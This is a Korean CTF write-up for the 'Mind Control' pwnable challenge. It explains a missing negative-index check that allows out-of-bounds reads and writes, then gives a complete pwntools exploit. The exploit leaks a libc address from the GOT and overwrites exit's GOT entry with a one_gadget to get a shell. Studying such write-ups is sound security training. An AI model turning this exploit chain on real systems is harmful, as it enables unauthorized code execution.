Pwnable/writeup

CBHC - Mind Control

Kon4 2022. 7. 23. 22:55

Mind Control (ubuntu 20.04)

int sub_4008BD()
{
  puts("Mind Print");
  return puts(&byte_6010A0[index]);
}

먼저 문제를 보면 2번 메뉴에서 다음과 같은 함수를 호출한다.

ssize_t sub_40082F()
{
  puts("Mind Control!");
  printf("Size : ");
  __isoc99_scanf("%d", &index);
  printf("Your Mind : ");
  if ( index > 128 )
    exit(1);
  return read(0, &byte_6010A0[index], 8uLL);    // got overwrite
                                                // 
}

1번 메뉴를 입력하면 다음과 같이 size(idx)를 입력하고 이를 참고해 입력을 받는다. 이때 idx의 음수값을 검사하지 않기떄문에 oob 가 터진다.

 

byte_6010A0 — > __libc_start_main_ptr 을 가르키면 got의 실제 함수 주소가 leak 될 것이다.

offset = 176 이므로 다음과 같이 익스를 짤 수 있다.

(** exit(offset 88)의 got.plt가 가르키는 곳(실제 함수 주소)을 덮어서, onegadget 의 주소를 실행한다.)

from pwn import *

context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
#context.arch = 'i386'
ip = ""
port = 0
#p = remote(ip, port)

file_name = "./prob"
libc_name = "../libc-2.31.so"
p = process(file_name, env={'LD_PRELOAD':libc_name})
e = ELF(file_name)
libc = ELF(libc_name)

def slog(name, addr): return success(": ".join([name, hex(addr)]))

#leak exit_got
payload = b""
pause()
p.sendlineafter("> ", b"1")
p.sendlineafter("Size : ", b"-176")

p.sendlineafter("Your Mind : ", b"")

p.sendlineafter("> ", b"2")

p.recvuntil(b"\\x0a") 
__libc_start_main_got = u64(p.recvuntil(b"\\x7f").ljust(8, b'\\x00'))
slog("__libc_start_main_got", __libc_start_main_got)

base = __libc_start_main_got - libc.sym['__libc_start_main']
slog("base", base)

magic = [0xe3afe, 0xe3b01, 0xe3b04]
payload = p64(base+magic[2])
p.sendlineafter("> ", b"1")
p.sendlineafter("Size : ", b"-88")

p.sendlineafter("Your Mind : ", payload)

p.sendlineafter("> ", b"3")

p.interactive()